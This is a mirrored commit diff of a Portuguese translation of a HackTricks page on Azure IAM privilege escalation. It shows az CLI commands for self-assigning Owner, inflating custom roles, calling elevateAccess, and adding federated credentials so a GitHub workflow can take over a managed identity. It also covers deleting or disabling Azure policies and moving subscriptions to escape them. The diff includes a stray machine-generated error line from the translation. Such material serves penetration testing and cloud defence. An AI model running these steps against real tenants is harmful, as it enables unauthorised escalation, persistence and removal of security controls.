gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 14:47:17 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

Browse Source
This commit is contained in:
Translator
2026-05-05 13:19:48 +00:00
parent 07c53abc2e
commit dbe3a87652
1 changed files with 89 additions and 26 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
+89 -26
View File
@@ -1,27 +1,54 @@
# Az - Azure IAM Privesc (Autorização)
# Az - Azure IAM Privesc (Authorization)
{{#include ../../../banners/hacktricks-training.md}}
## Azure IAM
Para mais informações, consulte:
Para mais informações, verifique:
{{#ref}}
../az-services/az-azuread.md
{{#endref}}
Permissões que permitem que um principal **altere a própria authorization** geralmente são **privesc primitives**. Isso é especialmente perigoso quando são concedidas em escopos de **management group** ou **subscription**, porque as permissões são herdadas por recursos filhos.
### Microsoft.Authorization/roleAssignments/write
Essa permissão permite atribuir roles a principals em um scope específico, permitindo que um attacker escale privilégios ao atribuir a si mesmo um role mais privilegiado:
Essa permissão permite criar role assignments em um escopo específico, permitindo que um atacante escale privilégios atribuindo a si mesmo ou a outro principal controlado uma role mais privilegiada.
Fluxo típico:
```bash
# Login and confirm current context
az login
az account show
# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"
```
Se o principal comprometido tiver esta ação sobre um escopo, ele pode conceder diretamente uma role privilegiada, como `Owner`, `Contributor`, `Key Vault Secrets Officer`, ou qualquer outra role built-in/custom disponível nesse escopo:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Conhecer o **principal object ID** do target user/service principal/managed identity é suficiente para conceder a nova role. Isso pode ser abusado para **self-privesc**, **lateral movement**, ou **persistence** ao atribuir a role a um diferente controlled principal.
Esta permissão permite modificar as permissões concedidas a uma função, permitindo que um attacker escale privilégios ao conceder mais permissões a uma função que ele já tenha atribuído.
### Microsoft.Authorization/roleDefinitions/write
Crie o arquivo `role.json` com o seguinte **conteúdo**:
Esta permissão permite criar ou modificar custom role definitions. Na prática, isso é perigoso porque um atacante pode:
- Modify uma custom role que já está assigned ao compromised principal, tornando as novas permissions efetivas imediatamente.
- Create uma nova over-privileged custom role e então atribuí-la, normalmente fazendo chaining com `Microsoft.Authorization/roleAssignments/write`.
Typical flow:
```bash
# Find the current assignments
az role assignment list --all --output table
# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"
```
{"error":"Faltou o conteúdo que deve ser colocado em `role.json`."}
```json
{
"roleName": "<name of the role>",
@@ -33,19 +60,22 @@ Crie o arquivo `role.json` com o seguinte **conteúdo**:
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}
```
Em seguida, atualize as permissões do role com a definição anterior chamando:
Então atualize as permissões da role com a definição anterior chamando:
```bash
az role definition update --role-definition role.json
```
Se a role modificada já estiver **atribuída** ao atacante, isso pode ser um caminho mais rápido do que criar uma nova role assignment, porque a permission inflation se aplica à assignment existente.\
Se o atacante tiver apenas `roleDefinitions/write`, ele ainda pode weaponize it modificando roles já atribuídas a principals comprometidos.
### Microsoft.Authorization/elevateAccess/action
Esta permissão permite elevar privilégios e atribuir permissões a qualquer principal sobre recursos do Azure. Destina-se a ser concedida a Entra ID Global Administrators para que também possam gerenciar permissões sobre recursos do Azure.
Este permissions permite elevar privilégios e conseguir assign permissions para qualquer principal em Azure resources. Ele foi feito para ser concedido a Entra ID Global Administrators para que eles também possam manage permissions sobre Azure resources.
> [!TIP]
> Acho que o usuário precisa ser Global Administrator no Entra ID para que a chamada elevate funcione.
> Acho que o user precisa ser Global Administrator no Entrad ID para a elevate call funcionar.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +85,29 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Esta permissão permite adicionar credenciais federadas a identidades gerenciadas. Ex.: conceder acesso do Github Actions em um repositório a uma identidade gerenciada. Depois, ela permite **acessar qualquer identidade gerenciada definida pelo usuário**.
Esta permission permite criar/atualizar **Federated Identity Credentials (FICs)** em **user-assigned managed identities**. Na prática, isso permite que um attacker adicione uma nova trust relationship a um external identity provider e depois obtenha tokens como essa managed identity.
Exemplo de comando para conceder acesso a um repositório no Github a uma identidade gerenciada:
Este é um **persistence / identity hijacking primitive**: se a managed identity já tiver acesso a Azure resources, o attacker só precisa criar um external workload correspondente (por exemplo, um GitHub Actions workflow) e trocar o external token por Azure tokens.
Pontos úteis para verificar antes de abusá-la:
- Qual **managed identity** pode ser modificada
- Quais **scope/roles** já estão atribuídos a essa managed identity
- Quais **issuer**, **subject** e **audience** serão aceitos durante a token exchange
Você pode criar o FIC com o dedicated CLI command:
```bash
az identity federated-credential create \
--name "github-federated-identity" \
--identity-name testMI \
--resource-group bialystok-rg \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"
```
Ou com raw REST.
Exemplo de comando para dar acesso a um repositório GitHub a uma managed identity:
```bash
# Generic example:
az rest --method PUT \
@@ -71,26 +121,32 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
Uma vez que o FIC é criado, o attacker pode autenticar a partir da external workload e usar as managed identity permissions já concedidas no Azure. Para mais informações sobre abusing GitHub OIDC / workload identity, verifique:
{{#ref}}
../az-basic-information/az-federation-abuse.md
{{#endref}}
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Um atacante com a permissão `Microsoft.Authorization/policyAssignments/write` ou `Microsoft.Authorization/policyAssignments/delete` sobre um grupo de gerenciamento, assinatura ou grupo de recursos pode **modificar ou excluir atribuições do Azure Policy**, potencialmente **desabilitando restrições de segurança** que bloqueiam operações específicas.
Um attacker com a permissão `Microsoft.Authorization/policyAssignments/write` ou `Microsoft.Authorization/policyAssignments/delete` sobre um management group, subscription, ou resource group pode **modify ou delete Azure policy assignments**, potencialmente **disabling security restrictions** que bloqueiam operações específicas.
Isso permite o acesso a recursos ou funcionalidades que anteriormente eram protegidos pela política.
Isso permite acesso a resources ou funcionalidades que estavam anteriormente protegidos pela policy.
**Excluir uma atribuição do Azure Policy:**
**Delete a policy assignment:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Desabilitar uma atribuição de política:**
**Desabilitar uma policy assignment:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**Verifique as alterações:**
**Verifique as mudanças:**
```bash
# List policy assignments
az policy assignment list \
@@ -103,17 +159,17 @@ az policy assignment show \
```
### Microsoft.Authorization/policyDefinitions/write
An attacker com a permissão `Microsoft.Authorization/policyDefinitions/write` pode **modificar definições de política do Azure**, alterando as regras que controlam as restrições de segurança em todo o ambiente.
Um atacante com a permissão `Microsoft.Authorization/policyDefinitions/write` pode **modificar Azure policy definitions**, alterando as regras que controlam restrições de segurança em todo o ambiente.
Por exemplo, uma política que limita as regiões permitidas para criação de recursos pode ser modificada para permitir qualquer região, ou o efeito da política pode ser alterado para torná-la ineficaz.
Por exemplo, uma policy que limita as regiões permitidas para criar resources pode ser modificada para permitir qualquer região, ou o efeito da policy pode ser alterado para torná-la ineficaz.
**Modificar uma definição de política:**
**Modificar uma policy definition:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**Verifique as alterações:**
**Verificar as mudanças:**
```bash
az policy definition list --output table
@@ -121,9 +177,9 @@ az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
Um atacante com a permissão `Microsoft.Management/managementGroups/write` pode **modificar a estrutura hierárquica dos management groups** ou **criar novos management groups**, potencialmente evitando políticas restritivas aplicadas em níveis superiores.
Um atacante com a permissão `Microsoft.Management/managementGroups/write` pode **modificar a estrutura hierárquica dos management groups** ou **criar novos management groups**, potencialmente contornando policies restritivas aplicadas em níveis mais altos.
Por exemplo, um atacante pode criar um novo management group sem políticas restritivas e então mover assinaturas para ele.
Por exemplo, um atacante pode criar um novo management group sem policies restritivas e então mover subscriptions para ele.
**Criar um novo management group:**
```bash
@@ -131,13 +187,13 @@ az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Modificar uma hierarquia de management group:**
**Modificar uma management group hierarchy:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Verifique as alterações:**
**Verifique as mudanças:**
```bash
az account management-group list --output table
@@ -147,7 +203,7 @@ az account management-group show \
```
### Microsoft.Management/managementGroups/subscriptions/write
Um atacante com a permissão `Microsoft.Management/managementGroups/subscriptions/write` pode **mover subscriptions entre management groups**, potencialmente **evitar políticas restritivas** movendo uma subscription para um grupo com políticas menos restritivas ou sem políticas.
Um attacker com a permissão `Microsoft.Management/managementGroups/subscriptions/write` pode **mover subscriptions entre management groups**, potencialmente **evadindo políticas restritivas** ao mover uma subscription para um group com policies menos restritivas ou sem policies.
**Mover uma subscription para um management group diferente:**
```bash
@@ -161,4 +217,11 @@ az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
## References
- [IAM the Captain Now – Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access)
- [Assign Azure roles using the REST API - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest)
- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
- [Create trust between user-assigned managed identity and external identity provider](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity)
{{#include ../../../banners/hacktricks-training.md}}